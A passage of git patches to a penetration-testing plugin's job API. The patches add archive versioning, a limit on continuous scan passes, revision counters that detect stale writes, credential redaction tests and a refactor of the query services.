100644 --- a/extensions/business/cybersec/red_mesh/models/archive.py +++ b/extensions/business/cybersec/red_mesh/models/archive.py @@ -14,7 +14,7 @@ from extensions.business.cybersec.red_mesh.models.shared import _strip_none from extensions.business.cybersec.red_mesh.constants import ( - DISTRIBUTION_SLICE, PORT_ORDER_SEQUENTIAL, RUN_MODE_SINGLEPASS, + DISTRIBUTION_SLICE, PORT_ORDER_SEQUENTIAL, RUN_MODE_SINGLEPASS, JOB_ARCHIVE_VERSION, ) @@ -271,6 +271,7 @@ class JobArchive: duration: float date_created: float date_completed: float + archive_version: int = JOB_ARCHIVE_VERSION start_attestation: dict = None def to_dict(self) -> dict: @@ -278,7 +279,13 @@ def to_dict(self) -> dict: @classmethod def from_dict(cls, d: dict) -> JobArchive: + archive_version = d.get("archive_version", JOB_ARCHIVE_VERSION) + if archive_version != JOB_ARCHIVE_VERSION: + raise ValueError( + f"Unsupported archive_version {archive_version}; expected {JOB_ARCHIVE_VERSION}" + ) return cls( + archive_version=archive_version, job_id=d["job_id"], job_config=d.get("job_config", {}), timeline=d.get("timeline", []), diff --git a/extensions/business/cybersec/red_mesh/pentester_api_01.py b/extensions/business/cybersec/red_mesh/pentester_api_01.py index 06e4c236..c81f61fc 100644 --- a/extensions/business/cybersec/red_mesh/pentester_api_01.py +++ b/extensions/business/cybersec/red_mesh/pentester_api_01.py @@ -45,6 +45,7 @@ from .constants import ( FEATURE_CATALOG, ScanType, + JOB_ARCHIVE_VERSION, JOB_STATUS_RUNNING, JOB_STATUS_COLLECTING, JOB_STATUS_ANALYZING, @@ -54,6 +55,7 @@ JOB_STATUS_FINALIZED, RUN_MODE_SINGLEPASS, RUN_MODE_CONTINUOUS_MONITORING, + MAX_CONTINUOUS_PASSES, DISTRIBUTION_SLICE, DISTRIBUTION_MIRROR, PORT_ORDER_SHUFFLE, @@ -1042,6 +1044,7 @@ def _build_job_archive(self, job_key, job_specs): duration = date_completed - job_specs.get("date_created", date_completed) archive = JobArchive( + archive_version=JOB_ARCHIVE_VERSION, job_id=job_id, job_config=job_config, timeline=job_specs.get("timeline", []), @@ -1347,6 +1350,36 @@ def _maybe_finalize_pass(self): self._clear_live_progress(job_id, list(workers.keys())) continue + if job_pass >= MAX_CONTINUOUS_PASSES: + set_job_status(job_specs, JOB_STATUS_STOPPED) + self._emit_timeline_event(job_specs, "scan_completed", f"Scan completed (pass {job_pass})") + self._emit_timeline_event( + job_specs, + "pass_cap_reached", + f"Maximum continuous passes reached ({MAX_CONTINUOUS_PASSES})", + meta={"pass_nr": job_pass, "max_continuous_passes": MAX_CONTINUOUS_PASSES}, + ) + self._log_audit_event("continuous_pass_cap_reached", { + "job_id": job_id, + "pass_nr": job_pass, + "max_continuous_passes": MAX_CONTINUOUS_PASSES, + }) + if redmesh_test_attestation is not None: + self._emit_timeline_event( + job_specs, "blockchain_submit", + f"Test attestation submitted (pass {job_pass})", + actor_type="system", + meta={**redmesh_test_attestation, "network": self.REDMESH_ATTESTATION_NETWORK} + ) + self.P( + f"[CONTINUOUS] Pass {job_pass} complete for job {job_id}. " + f"Status set to STOPPED (max {MAX_CONTINUOUS_PASSES} passes reached)" + ) + self._emit_timeline_event(job_specs, "stopped", "Job stopped") + self._build_job_archive(job_key, job_specs) + self._clear_live_progress(job_id, list(workers.keys())) + continue + # Schedule next pass — attestation event goes with pass_completed if redmesh_test_attestation is not None: self._emit_timeline_event( @@ -2237,6 +2270,16 @@ def get_job_archive(self, job_id: str): if archive is None: return {"error": "fetch_failed", "message": f"Failed to fetch archive from R1FS (CID: {job_cid})."} + try: + archive = JobArchive.from_dict(archive).to_dict() + except ValueError as exc: + return { + "error": "unsupported_archive_version", + "message": str(exc), + "job_id": job_id, + "job_cid": job_cid, + } + # Integrity check: verify job_id matches if archive.get("job_id") != job_id: self.P( diff --git a/extensions/business/cybersec/red_mesh/tests/test_api.py b/extensions/business/cybersec/red_mesh/tests/test_api.py index 618e14d9..90c81149 100644 --- a/extensions/business/cybersec/red_mesh/tests/test_api.py +++ b/extensions/business/cybersec/red_mesh/tests/test_api.py @@ -4,6 +4,8 @@ import unittest from unittest.mock import MagicMock, patch +from extensions.business.cybersec.red_mesh.constants import JOB_ARCHIVE_VERSION, MAX_CONTINUOUS_PASSES + from .conftest import DummyOwner, MANUAL_RUN, PentestLocalWorker, color_print, mock_plugin_modules @@ -717,6 +719,77 @@ def test_continuous_pass_returns_job_status_to_running(self): self.assertEqual(job_specs["job_status"], "RUNNING") self.assertIsNotNone(job_specs.get("next_pass_at")) + def test_continuous_pass_cap_stops_and_archives_job(self): + """Continuous jobs stop and archive instead of scheduling pass 101.""" + PentesterApi01Plugin = self._get_plugin_class() + plugin, job_specs = self._build_finalize_plugin( + run_mode="CONTINUOUS_MONITORING", + job_pass=MAX_CONTINUOUS_PASSES, + ) + + report_a = self._sample_node_report(1, 512, [80]) + plugin._collect_node_reports = MagicMock(return_value={"worker-A": report_a}) + plugin._get_aggregated_report = MagicMock(return_value={ + "open_ports": [80], "service_info": {}, "web_tests_info": {}, + "completed_tests": [], "ports_scanned": 512, "nr_open_ports": 1, + "port_protocols": {"80": "http"}, + }) + plugin._normalize_job_record = MagicMock(return_value=(job_specs["job_id"], job_specs)) + plugin._get_job_config = MagicMock(return_value={"target": "example.com", "monitor_interval": 60}) + plugin._compute_risk_and_findings = MagicMock(return_value=({"score": 10, "breakdown": {}}, [])) + plugin._submit_redmesh_test_attestation = MagicMock(return_value=None) + plugin._get_timeline_date = MagicMock(return_value=1000000.0) + plugin._emit_timeline_event = MagicMock() + plugin._build_job_archive = MagicMock() + plugin._clear_live_progress = MagicMock() + plugin._log_audit_event = MagicMock() + + PentesterApi01Plugin._maybe_finalize_pass(plugin) + + self.assertEqual(job_specs["job_status"], "STOPPED") + self.assertIsNone(job_specs.get("next_pass_at")) + plugin._build_job_archive.assert_called_once_with(job_specs["job_id"], job_specs) + plugin._clear_live_progress.assert_called_once() + plugin._log_audit_event.assert_called_once_with("continuous_pass_cap_reached", { + "job_id": job_specs["job_id"], + "pass_nr": MAX_CONTINUOUS_PASSES, + "max_continuous_passes": MAX_CONTINUOUS_PASSES, + }) + event_types = [c.args[1] for c in plugin._emit_timeline_event.call_args_list] + self.assertIn("pass_cap_reached", event_types) + self.assertIn("stopped", event_types) + + def test_continuous_pass_cap_handles_recovered_over_cap_state(self): + """Recovered continuous jobs already over cap are stopped cleanly.""" + PentesterApi01Plugin = self._get_plugin_class() + plugin, job_specs = self._build_finalize_plugin( + run_mode="CONTINUOUS_MONITORING", + job_pass=MAX_CONTINUOUS_PASSES + 2, + ) + + report_a = self._sample_node_report(1, 512, [80]) + plugin._collect_node_reports = MagicMock(return_value={"worker-A": report_a}) + plugin._get_aggregated_report = MagicMock(return_value={ + "open_ports": [80], "service_info": {}, "web_tests_info": {}, + "completed_tests": [], "ports_scanned": 512, "nr_open_ports": 1, + "port_protocols": {"80": "http"}, + }) + plugin._normalize_job_record = MagicMock(return_value=(job_specs["job_id"], job_specs)) + plugin._get_job_config = MagicMock(return_value={"target": "example.com", "monitor_interval": 60}) + plugin._compute_risk_and_findings = MagicMock(return_value=({"score": 10, "breakdown": {}}, [])) + plugin._submit_redmesh_test_attestation = MagicMock(return_value=None) + plugin._get_timeline_date = MagicMock(return_value=1000000.0) + plugin._emit_timeline_event = MagicMock() + plugin._build_job_archive = MagicMock() + plugin._clear_live_progress = MagicMock() + plugin._log_audit_event = MagicMock() + + PentesterApi01Plugin._maybe_finalize_pass(plugin) + + self.assertEqual(job_specs["job_status"], "STOPPED") + plugin._build_job_archive.assert_called_once_with(job_specs["job_id"], job_specs) + plugin._log_audit_event.assert_called_once() + def test_finding_id_deterministic(self): """Same input produces same finding_id; different title produces different id.""" PentesterApi01Plugin = self._get_plugin_class() @@ -1393,6 +1466,7 @@ def test_archive_written_to_r1fs(self): # r1fs.add_json called with archive dict self.assertTrue(plugin.r1fs.add_json.called) archive_dict = plugin.r1fs.add_json.call_args[0][0] + self.assertEqual(archive_dict["archive_version"], JOB_ARCHIVE_VERSION) self.assertEqual(archive_dict["job_id"], "test-job") self.assertEqual(archive_dict["job_config"]["target"], "example.com") self.assertEqual(len(archive_dict["passes"]), 1) @@ -1674,12 +1748,23 @@ def test_get_job_archive_finalized(self): stub = self._build_finalized_stub("fin-job") plugin = self._build_plugin({"fin-job": stub}) - archive_data = {"job_id": "fin-job", "passes": [], "ui_aggregate": {}} + archive_data = { + "archive_version": JOB_ARCHIVE_VERSION, + "job_id": "fin-job", + "passes": [], + "ui_aggregate": {}, + "job_config": {}, + "timeline": [], + "duration": 0, + "date_created": 0, + "date_completed": 0, + } plugin.r1fs.get_json.return_value = archive_data result = Plugin.get_job_archive(plugin, job_id="fin-job") self.assertEqual(result["job_id"], "fin-job") self.assertEqual(result["archive"]["job_id"], "fin-job") + self.assertEqual(result["archive"]["archive_version"], JOB_ARCHIVE_VERSION) def test_get_job_archive_running(self): """get_job_archive for running job returns not_available error.""" @@ -1697,11 +1782,42 @@ def test_get_job_archive_integrity_mismatch(self): plugin = self._build_plugin({"fin-job": stub}) # Archive has a different job_id - plugin.r1fs.get_json.return_value = {"job_id": "other-job", "passes": []} + plugin.r1fs.get_json.return_value = { + "archive_version": JOB_ARCHIVE_VERSION, + "job_id": "other-job", + "passes": [], + "ui_aggregate": {}, + "job_config": {}, + "timeline": [], + "duration": 0, + "date_created": 0, + "date_completed": 0, + } result = Plugin.get_job_archive(plugin, job_id="fin-job") self.assertEqual(result["error"], "integrity_mismatch") + def test_get_job_archive_unsupported_version(self): + """Unsupported archive versions are rejected explicitly.""" + Plugin = self._get_plugin_class() + stub = self._build_finalized_stub("fin-job") + plugin = self._build_plugin({"fin-job": stub}) + + plugin.r1fs.get_json.return_value = { + "archive_version": JOB_ARCHIVE_VERSION + 1, + "job_id": "fin-job", + "passes": [], + "ui_aggregate": {}, + "job_config": {}, + "timeline": [], + "duration": 0, + "date_created": 0, + "date_completed": 0, + } + + result = Plugin.get_job_archive(plugin, job_id="fin-job") + self.assertEqual(result["error"], "unsupported_archive_version") + def test_get_job_data_running_last_5(self): """Running job with 8 passes returns last 5 refs only.""" Plugin = self._get_plugin_class() From 62098fac7272ce7180a8dc91cbaddca88b17d0d6 Mon Sep 17 00:00:00 2001 From: toderian Date: Thu, 12 Mar 2026 15:25:08 +0000 Subject: [PATCH 068/114] fix: add job_revision to job store model --- .../cybersec/red_mesh/models/cstore.py | 2 + .../cybersec/red_mesh/pentester_api_01.py | 82 +++++++++++++++---- .../cybersec/red_mesh/tests/test_api.py | 67 +++++++++++++++ 3 files changed, 134 insertions(+), 17 deletions(-) diff --git a/extensions/business/cybersec/red_mesh/models/cstore.py b/extensions/business/cybersec/red_mesh/models/cstore.py index dd6465fe..1f6e42cb 100644 --- a/extensions/business/cybersec/red_mesh/models/cstore.py +++ b/extensions/business/cybersec/red_mesh/models/cstore.py @@ -84,6 +84,7 @@ class CStoreJobRunning: pass_reports: list # [ PassReportRef.to_dict() ] next_pass_at: float = None risk_score: float = 0 + job_revision: int = 0 redmesh_job_start_attestation: dict = None last_attestation_at: float = None @@ -110,6 +111,7 @@ def from_dict(cls, d: dict) -> CStoreJobRunning: pass_reports=d.get("pass_reports", []), next_pass_at=d.get("next_pass_at"), risk_score=d.get("risk_score", 0), + job_revision=d.get("job_revision", 0), redmesh_job_start_attestation=d.get("redmesh_job_start_attestation"), last_attestation_at=d.get("last_attestation_at"), ) diff --git a/extensions/business/cybersec/red_mesh/pentester_api_01.py b/extensions/business/cybersec/red_mesh/pentester_api_01.py index c81f61fc..e27a35f2 100644 --- a/extensions/business/cybersec/red_mesh/pentester_api_01.py +++ b/extensions/business/cybersec/red_mesh/pentester_api_01.py @@ -309,7 +309,7 @@ def __post_init(self): agg_report = self._get_aggregated_report(raw_report) our_worker["result"] = agg_report normalized_spec["workers"][self.ee_addr] = our_worker - self.chainstore_hset(hkey=self.cfg_instance_id, key=normalized_key, value=normalized_spec) + PentesterApi01Plugin._write_job_record(self, normalized_key, normalized_spec, context="warmup_repair") is_completed = all( worker.get("finished") for worker in normalized_spec.get("workers", {}).values() ) if normalized_spec.get("workers") else False @@ -469,9 +469,13 @@ def _normalize_job_record(self, job_key, job_spec, migrate=False): if not isinstance(workers, dict): workers = {} normalized["workers"] = workers + try: + normalized["job_revision"] = int(normalized.get("job_revision", 0) or 0) + except (TypeError, ValueError): + normalized["job_revision"] = 0 if migrate and job_key != job_id: - self.chainstore_hset(hkey=self.cfg_instance_id, key=job_id, value=normalized) - self.chainstore_hset(hkey=self.cfg_instance_id, key=job_key, value=None) + PentesterApi01Plugin._write_job_record(self, job_id, normalized, context="normalize_migrate") + PentesterApi01Plugin._delete_job_record(self, job_key) job_key = job_id return job_key, normalized @@ -694,13 +698,13 @@ def _maybe_launch_jobs(self, nr_local_workers=None): self.P(f"Skipping job {job_id}: {exc}", color='r') worker_entry["finished"] = True worker_entry["error"] = str(exc) - self.chainstore_hset(hkey=self.cfg_instance_id, key=job_id, value=job_specs) + PentesterApi01Plugin._write_job_record(self, job_id, job_specs, context="launch_error_value") continue except Exception as exc: self.P(f"Skipping job {job_id}: {exc}", color='r') worker_entry["finished"] = True worker_entry["error"] = str(exc) - self.chainstore_hset(hkey=self.cfg_instance_id, key=job_id, value=job_specs) + PentesterApi01Plugin._write_job_record(self, job_id, job_specs, context="launch_error_exception") continue self.scan_jobs[job_id] = local_jobs #endif need to launch new job @@ -735,6 +739,50 @@ def _log_audit_event(self, event_type, details): self._audit_log.append(entry) return + def _get_job_revision(self, job_specs): + """Return a normalized revision for mutable CStore job records.""" + if not isinstance(job_specs, dict): + return 0 + try: + return int(job_specs.get("job_revision", 0) or 0) + except (TypeError, ValueError): + return 0 + + def _write_job_record(self, job_id, job_specs, expected_revision=None, context=""): + """ + Persist mutable job state with revision bump and stale-write detection. + + This is observability only; it does not provide compare-and-swap semantics. + """ + current = self.chainstore_hget(hkey=self.cfg_instance_id, key=job_id) + current_revision = PentesterApi01Plugin._get_job_revision(self, current) + incoming_revision = PentesterApi01Plugin._get_job_revision(self, job_specs) + if expected_revision is None: + expected_revision = incoming_revision + + if isinstance(current, dict) and current_revision != expected_revision: + self.P( + f"[CSTORE] Stale write detected for job {job_id}: " + f"expected_revision={expected_revision}, current_revision={current_revision}, context={context or 'unspecified'}", + color='y' + ) + self._log_audit_event("stale_write_detected", { + "job_id": job_id, + "expected_revision": expected_revision, + "current_revision": current_revision, + "context": context or "", + }) + + persisted = job_specs if isinstance(job_specs, dict) else dict(job_specs) + persisted["job_revision"] = current_revision + 1 + self.chainstore_hset(hkey=self.cfg_instance_id, key=job_id, value=persisted) + return persisted + + def _delete_job_record(self, job_id): + """Delete a job record from CStore.""" + self.chainstore_hset(hkey=self.cfg_instance_id, key=job_id, value=None) + return + def _emit_timeline_event(self, job_specs, event_type, label, actor=None, actor_type="system", meta=None): job_specs.setdefault("timeline", []).append({ @@ -891,7 +939,7 @@ def _close_job(self, job_id, canceled=False): job_id, self.json_dumps(job_specs, indent=2) )) - self.chainstore_hset(hkey=self.cfg_instance_id, key=job_id, value=job_specs) + PentesterApi01Plugin._write_job_record(self, job_id, job_specs, context="close_job") # Audit: scan completed nr_findings = self._count_all_findings(report) @@ -1089,7 +1137,7 @@ def _build_job_archive(self, job_key, job_specs): job_cid=job_cid, job_config_cid=job_specs.get("job_config_cid", ""), ) - self.chainstore_hset(hkey=self.cfg_instance_id, key=job_key, value=stub.to_dict()) + PentesterApi01Plugin._write_job_record(self, job_key, stub.to_dict(), context="archive_prune") self.P(f"Job {job_id} archived. CID={job_cid}, CStore pruned to stub.") # 9. Clean up individual pass report CIDs (best-effort, after commit) @@ -1167,7 +1215,7 @@ def _maybe_finalize_pass(self): # --- COLLECTING: merge worker reports --- set_job_status(job_specs, JOB_STATUS_COLLECTING) - self.chainstore_hset(hkey=self.cfg_instance_id, key=job_key, value=job_specs) + job_specs = PentesterApi01Plugin._write_job_record(self, job_key, job_specs, context="finalize_collecting") # 1. AGGREGATE ONCE — fetch node reports from R1FS and merge node_reports = self._collect_node_reports(workers) @@ -1189,7 +1237,7 @@ def _maybe_finalize_pass(self): summary_text = None if self.cfg_llm_agent_api_enabled and aggregated: set_job_status(job_specs, JOB_STATUS_ANALYZING) - self.chainstore_hset(hkey=self.cfg_instance_id, key=job_key, value=job_specs) + job_specs = PentesterApi01Plugin._write_job_record(self, job_key, job_specs, context="finalize_analyzing") llm_text = self._run_aggregated_llm_analysis(job_id, aggregated, job_config) summary_text = self._run_quick_summary_analysis(job_id, aggregated, job_config) @@ -1312,7 +1360,7 @@ def _maybe_finalize_pass(self): # --- FINALIZING: writing archive --- set_job_status(job_specs, JOB_STATUS_FINALIZING) - self.chainstore_hset(hkey=self.cfg_instance_id, key=job_key, value=job_specs) + job_specs = PentesterApi01Plugin._write_job_record(self, job_key, job_specs, context="finalize_finalizing") # Handle SINGLEPASS - set FINALIZED, build archive, prune CStore if run_mode == RUN_MODE_SINGLEPASS: @@ -1395,7 +1443,7 @@ def _maybe_finalize_pass(self): self._emit_timeline_event(job_specs, "pass_completed", f"Pass {job_pass} completed") self.P(f"[CONTINUOUS] Pass {job_pass} complete for job {job_id}. Next pass in {interval}s (+{jitter:.1f}s jitter)") - self.chainstore_hset(hkey=self.cfg_instance_id, key=job_key, value=job_specs) + PentesterApi01Plugin._write_job_record(self, job_key, job_specs, context="continuous_next_pass") self._clear_live_progress(job_id, list(workers.keys())) # Clear from completed_jobs_reports to allow relaunch @@ -1418,7 +1466,7 @@ def _maybe_finalize_pass(self): # end for each worker reset self.P(f"[CONTINUOUS] Starting pass {job_pass + 1} for job {job_id}", boxed=True) - self.chainstore_hset(hkey=self.cfg_instance_id, key=job_key, value=job_specs) + PentesterApi01Plugin._write_job_record(self, job_key, job_specs, context="continuous_restart") # Clear local tracking to allow relaunch self.completed_jobs_reports.pop(job_id, None) @@ -1848,7 +1896,7 @@ def _announce_launch( color='r' ) - self.chainstore_hset(hkey=self.cfg_instance_id, key=job_id, value=job_specs) + PentesterApi01Plugin._write_job_record(self, job_id, job_specs, context="launch_test") self._log_audit_event("scan_launched", { "job_id": job_id, @@ -2425,7 +2473,7 @@ def stop_and_delete_job(self, job_id : str): worker_entry["canceled"] = True set_job_status(job_specs, JOB_STATUS_STOPPED) self._emit_timeline_event(job_specs, "stopped", "Job stopped and deleted", actor_type="user") - self.chainstore_hset(hkey=self.cfg_instance_id, key=job_id, value=job_specs) + PentesterApi01Plugin._write_job_record(self, job_id, job_specs, context="stop_and_delete") else: # Job not found in CStore — nothing to purge self._log_audit_event("scan_stopped", {"job_id": job_id}) @@ -2562,7 +2610,7 @@ def _track(cid, source): ) # ── ALL R1FS artifacts deleted — safe to tombstone CStore ── - self.chainstore_hset(hkey=self.cfg_instance_id, key=job_id, value=None) + PentesterApi01Plugin._delete_job_record(self, job_id) self.P(f"Purged job {job_id}: {deleted}/{len(cids)} CIDs deleted.") self._log_audit_event("job_purged", {"job_id": job_id, "cids_deleted": deleted, "cids_total": len(cids)}) @@ -2673,7 +2721,7 @@ def stop_monitoring(self, job_id: str, stop_type: str = "SOFT"): self._emit_timeline_event(job_specs, "scheduled_for_stop", "Stop scheduled", actor_type="user") self.P(f"[CONTINUOUS] Soft stop scheduled for job {job_id} (will stop after current pass)") - self.chainstore_hset(hkey=self.cfg_instance_id, key=job_id, value=job_specs) + PentesterApi01Plugin._write_job_record(self, job_id, job_specs, context="stop_monitoring") return { "job_status": job_specs["job_status"], @@ -2799,7 +2847,7 @@ def analyze_job( actor_type="user", meta={"report_cid": updated_cid, "pass_nr": latest_ref.get("pass_nr", current_pass)} ) - self.chainstore_hset(hkey=self.cfg_instance_id, key=job_id, value=job_specs) + PentesterApi01Plugin._write_job_record(self, job_id, job_specs, context="manual_llm_update") self.P(f"Manual LLM analysis saved for job {job_id}, updated pass report CID: {updated_cid}") except Exception as e: self.P(f"Failed to update pass report with analysis: {e}", color='y') diff --git a/extensions/business/cybersec/red_mesh/tests/test_api.py b/extensions/business/cybersec/red_mesh/tests/test_api.py index 90c81149..e4bc789d 100644 --- a/extensions/business/cybersec/red_mesh/tests/test_api.py +++ b/extensions/business/cybersec/red_mesh/tests/test_api.py @@ -5,6 +5,7 @@ from unittest.mock import MagicMock, patch from extensions.business.cybersec.red_mesh.constants import JOB_ARCHIVE_VERSION, MAX_CONTINUOUS_PASSES +from extensions.business.cybersec.red_mesh.models import CStoreJobRunning from .conftest import DummyOwner, MANUAL_RUN, PentestLocalWorker, color_print, mock_plugin_modules @@ -1818,6 +1819,72 @@ def test_get_job_archive_unsupported_version(self): result = Plugin.get_job_archive(plugin, job_id="fin-job") self.assertEqual(result["error"], "unsupported_archive_version") + def test_normalize_job_record_initializes_job_revision(self): + """Legacy records get a normalized integer job_revision.""" + Plugin = self._get_plugin_class() + plugin = self._build_plugin({}) + plugin._write_job_record = MagicMock(side_effect=lambda job_id, specs, context="": specs) + plugin._delete_job_record = MagicMock() + + normalized_key, normalized = Plugin._normalize_job_record(plugin, "job-1", {"job_id": "job-1", "workers": {}}) + + self.assertEqual(normalized_key, "job-1") + self.assertEqual(normalized["job_revision"], 0) + + def test_write_job_record_bumps_revision(self): + """Centralized job writes bump the revision counter.""" + Plugin = self._get_plugin_class() + plugin = self._build_plugin({}) + plugin.chainstore_hget.side_effect = None + plugin.chainstore_hget.return_value = {"job_id": "job-1", "job_revision": 2} + plugin.chainstore_hset = MagicMock() + plugin._log_audit_event = MagicMock() + plugin.P = MagicMock() + + updated = Plugin._write_job_record(plugin, "job-1", {"job_id": "job-1", "job_revision": 2}, context="test") + + self.assertEqual(updated["job_revision"], 3) + running = CStoreJobRunning.from_dict({ + "job_id": "job-1", + "job_status": "RUNNING", + "job_pass": 1, + "run_mode": "SINGLEPASS", + "launcher": "launcher-node", + "launcher_alias": "launcher-alias", + "target": "example.com", + "task_name": "Test", + "start_port": 1, + "end_port": 10, + "date_created": 1.0, + "job_config_cid": "QmConfig", + "workers": {}, + "timeline": [], + "pass_reports": [], + "job_revision": updated["job_revision"], + }) + self.assertEqual(running.job_revision, 3) + plugin._log_audit_event.assert_not_called() + + def test_write_job_record_logs_stale_write(self): + """Revision mismatches are logged as stale-write detections.""" + Plugin = self._get_plugin_class() + plugin = self._build_plugin({}) + plugin.chainstore_hget.side_effect = None + plugin.chainstore_hget.return_value = {"job_id": "job-1", "job_revision": 5} + plugin.chainstore_hset = MagicMock() + plugin._log_audit_event = MagicMock() + plugin.P = MagicMock() + + updated = Plugin._write_job_record(plugin, "job-1", {"job_id": "job-1", "job_revision": 3}, context="close_job") + + self.assertEqual(updated["job_revision"], 6) + plugin._log_audit_event.assert_called_once_with("stale_write_detected", { + "job_id": "job-1", + "expected_revision": 3, + "current_revision": 5, + "context": "close_job", + }) + def test_get_job_data_running_last_5(self): """Running job with 8 passes returns last 5 refs only.""" Plugin = self._get_plugin_class() From 87bd6bf6820e341939b49807310227e909ff0be5 Mon Sep 17 00:00:00 2001 From: toderian Date: Thu, 12 Mar 2026 15:39:17 +0000 Subject: [PATCH 069/114] fix: add tests --- .../cybersec/red_mesh/pentester_api_01.py | 19 +++++++++++ .../cybersec/red_mesh/tests/test_api.py | 33 +++++++++++++++++++ .../red_mesh/tests/test_integration.py | 9 +++++ 3 files changed, 61 insertions(+) diff --git a/extensions/business/cybersec/red_mesh/pentester_api_01.py b/extensions/business/cybersec/red_mesh/pentester_api_01.py index e27a35f2..81942a9b 100644 --- a/extensions/business/cybersec/red_mesh/pentester_api_01.py +++ b/extensions/business/cybersec/red_mesh/pentester_api_01.py @@ -748,6 +748,24 @@ def _get_job_revision(self, job_specs): except (TypeError, ValueError): return 0 + def _supports_guarded_job_writes(self): + """ + Return whether mutable RedMesh job writes have real guarded-write semantics. + + The current chainstore API only exposes plain hget/hset primitives, so + RedMesh cannot claim compare-and-swap or optimistic concurrency guarantees. + """ + return False + + def _get_job_write_guarantees(self): + """Describe the actual guarantees of mutable RedMesh job-state writes.""" + return { + "mode": "detection_only", + "guarded_writes": False, + "stale_write_detection": True, + "job_revision": True, + } + def _write_job_record(self, job_id, job_specs, expected_revision=None, context=""): """ Persist mutable job state with revision bump and stale-write detection. @@ -771,6 +789,7 @@ def _write_job_record(self, job_id, job_specs, expected_revision=None, context=" "expected_revision": expected_revision, "current_revision": current_revision, "context": context or "", + "write_mode": PentesterApi01Plugin._get_job_write_guarantees(self)["mode"], }) persisted = job_specs if isinstance(job_specs, dict) else dict(job_specs) diff --git a/extensions/business/cybersec/red_mesh/tests/test_api.py b/extensions/business/cybersec/red_mesh/tests/test_api.py index e4bc789d..e24d1f02 100644 --- a/extensions/business/cybersec/red_mesh/tests/test_api.py +++ b/extensions/business/cybersec/red_mesh/tests/test_api.py @@ -1353,6 +1353,12 @@ def _build_archive_plugin(self, job_id="test-job", pass_count=1, run_mode="SINGL "target": "example.com", "start_port": 1, "end_port": 1024, "run_mode": run_mode, "enabled_features": [], "scan_type": "webapp", "target_url": "https://example.com/app", + "redact_credentials": True, + "official_username": "admin", + "official_password": "super-secret", + "regular_username": "user", + "regular_password": "user-pass", + "weak_candidates": ["admin:admin", "user:user"], } # Latest aggregated data @@ -1489,6 +1495,19 @@ def test_archive_ui_aggregate_includes_graybox_summary(self): self.assertEqual(ui["total_scenarios"], 2) self.assertEqual(ui["total_scenarios_vulnerable"], 1) + def test_archive_redacts_job_config_credentials(self): + """Archived job_config masks credentials when redact_credentials is enabled.""" + Plugin = self._get_plugin_class() + plugin, job_specs, _, _ = self._build_archive_plugin() + + Plugin._build_job_archive(plugin, "test-job", job_specs) + + archive_dict = plugin.r1fs.add_json.call_args[0][0] + self.assertEqual(archive_dict["job_config"]["official_password"], "***") + self.assertEqual(archive_dict["job_config"]["regular_password"], "***") + self.assertEqual(archive_dict["job_config"]["weak_candidates"], ["***", "***"]) + self.assertEqual(archive_dict["job_config"]["official_username"], "admin") + def test_archive_duration_computed(self): """duration == date_completed - date_created, not 0.""" Plugin = self._get_plugin_class() @@ -1865,6 +1884,19 @@ def test_write_job_record_bumps_revision(self): self.assertEqual(running.job_revision, 3) plugin._log_audit_event.assert_not_called() + def test_job_write_guarantees_report_detection_only_mode(self): + """RedMesh exposes detection-only semantics when chainstore lacks CAS.""" + Plugin = self._get_plugin_class() + plugin = self._build_plugin({}) + + self.assertFalse(Plugin._supports_guarded_job_writes(plugin)) + self.assertEqual(Plugin._get_job_write_guarantees(plugin), { + "mode": "detection_only", + "guarded_writes": False, + "stale_write_detection": True, + "job_revision": True, + }) + def test_write_job_record_logs_stale_write(self): """Revision mismatches are logged as stale-write detections.""" Plugin = self._get_plugin_class() @@ -1883,6 +1915,7 @@ def test_write_job_record_logs_stale_write(self): "expected_revision": 3, "current_revision": 5, "context": "close_job", + "write_mode": "detection_only", }) def test_get_job_data_running_last_5(self): diff --git a/extensions/business/cybersec/red_mesh/tests/test_integration.py b/extensions/business/cybersec/red_mesh/tests/test_integration.py index f47edc84..fc2b3bd5 100644 --- a/extensions/business/cybersec/red_mesh/tests/test_integration.py +++ b/extensions/business/cybersec/red_mesh/tests/test_integration.py @@ -216,6 +216,15 @@ def test_publish_live_progress_zero_interval_uses_default(self): self.assertEqual(Plugin._get_progress_publish_interval(plugin), 30.0) plugin.chainstore_hset.assert_not_called() + def test_job_write_guarantees_are_detection_only(self): + """Mutable job writes explicitly advertise detection-only semantics.""" + Plugin = self._get_plugin_class() + plugin = MagicMock() + + self.assertFalse(Plugin._supports_guarded_job_writes(plugin)) + self.assertEqual(Plugin._get_job_write_guarantees(plugin)["mode"], "detection_only") + self.assertFalse(Plugin._get_job_write_guarantees(plugin)["guarded_writes"]) + def test_publish_live_progress_multi_thread_phase(self): """Phase is the earliest active phase; per-thread data is included.""" Plugin = self._get_plugin_class() From 2b0ed0514de758070624e3fb3ee698eca25c5eed Mon Sep 17 00:00:00 2001 From: toderian Date: Thu, 12 Mar 2026 15:53:44 +0000 Subject: [PATCH 070/114] refactor: extract redmesh query services --- .../cybersec/red_mesh/pentester_api_01.py | 195 ++---------------- .../cybersec/red_mesh/services/__init__.py | 12 ++ .../cybersec/red_mesh/services/query.py | 136 ++++++++++++ 3 files changed, 163 insertions(+), 180 deletions(-) create mode 100644 extensions/business/cybersec/red_mesh/services/query.py diff --git a/extensions/business/cybersec/red_mesh/pentester_api_01.py b/extensions/business/cybersec/red_mesh/pentester_api_01.py index 81942a9b..d9233ef8 100644 --- a/extensions/business/cybersec/red_mesh/pentester_api_01.py +++ b/extensions/business/cybersec/red_mesh/pentester_api_01.py @@ -70,11 +70,16 @@ ) from .services import ( coerce_scan_type, + get_job_archive, + get_job_data, + get_job_progress, get_scan_strategy, is_intermediate_job_status, is_terminal_job_status, iter_scan_strategies, launch_local_jobs, + list_local_jobs, + list_network_jobs, set_job_status, ) @@ -2260,200 +2265,30 @@ def get_job_status(self, job_id: str): @BasePlugin.endpoint def get_job_data(self, job_id: str): - """ - Retrieve job data from CStore. - - For finalized/stopped jobs (stubs): returns the lightweight stub as-is. - The frontend uses job_cid to fetch the full archive via get_job_archive(). - - For running jobs: returns CStore state with pass_reports trimmed to - the last 5 entries (frontend fetches those CIDs individually). - - Parameters - ---------- - job_id : str - Identifier of the job. - - Returns - ------- - dict - Job data or error if not found. - """ - job_specs = self._get_job_from_cstore(job_id) - if not job_specs: - return { - "job_id": job_id, - "found": False, - "message": "Job not found in network store.", - } - - # Finalized stubs have job_cid — return as-is - if job_specs.get("job_cid"): - return { - "job_id": job_id, - "found": True, - "job": job_specs, - } - - # Running jobs — trim pass_reports to last 5 - pass_reports = job_specs.get("pass_reports", []) - if isinstance(pass_reports, list) and len(pass_reports) > 5: - 